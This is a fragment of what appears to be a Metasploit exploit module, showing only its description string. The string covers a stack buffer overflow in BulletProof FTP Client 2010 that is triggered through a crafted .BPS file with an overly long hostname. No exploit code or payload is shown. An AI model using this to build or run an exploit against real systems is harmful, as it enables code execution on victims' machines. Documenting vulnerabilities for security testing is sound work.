'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in  
BulletProof FTP Client 2010, caused by an overly long hostname.  
By persuading the victim to open a specially-crafted .BPS file, a  
remote attacker could execute arbitrary code on the system or cause  
the application to crash. This module has been tested successfully on  
Windows XP SP3.
